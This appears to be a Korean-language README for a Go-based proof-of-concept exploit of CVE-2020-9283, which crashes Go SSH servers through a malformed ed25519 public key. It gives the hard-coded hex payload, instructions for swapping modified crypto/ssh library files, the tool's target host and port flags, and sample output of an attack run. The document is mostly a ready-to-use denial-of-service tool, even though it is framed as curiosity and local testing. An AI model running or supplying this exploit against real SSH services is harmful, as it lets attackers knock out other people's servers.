
Go 기반 CVE-2020-9283 익스플로잇
이 프로젝트는 다음에서 찾을 수 있는 원본 PoC에서 영감을 받았습니다. github.com/mark-adams/exploits/CVE-2020-9283. Go SSH 라이브러리가 어떻게 구현되었는지 궁금해서 Go를 사용하여 PoC를 구현하기로 결정했습니다.
간단한 설명은 여기에서 확인할 수 있습니다 https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
이것은 Go 기반 SSH 서버에서 패닉을 유발하여 DoS로 이어질 수 있습니다.
릴리스 섹션에서 바이너리를 공개했지만, 첨부된 소스 코드를 사용하여 직접 다시 빌드할 수 있습니다.
Go 크립토 라이브러리가 어떻게 동작하는지 이해하기 위해 시스템에서 직접 수정하기로 결정했습니다. 이는 이상적인 방법은 아니며 최선의 방법도 아니지만 작동합니다 ;) Go 모듈을 사용하여 다시 빌드하려면 로컬 시스템의 Crypto/ssh 파일(client_auth.go, handshake.go, transport.go)의 내용을 여기에 있는 ".bak" 파일로 교체하십시오. 이 수정된 파일에는 자세한 디버깅 출력과 패닉을 유발하는 하드코딩된 페이로드 "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161"가 포함되어 있습니다.
디버깅 출력과 "오류"가 많이 표시될 것입니다. 이는 정상입니다. 대상이 패닉 상태가 되었다면 "bad key lengths"와 관련된 오류가 표시되어야 합니다. 로컬에서 테스트하려면 다음에서 찾을 수 있는 취약한 코드를 사용하십시오. github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'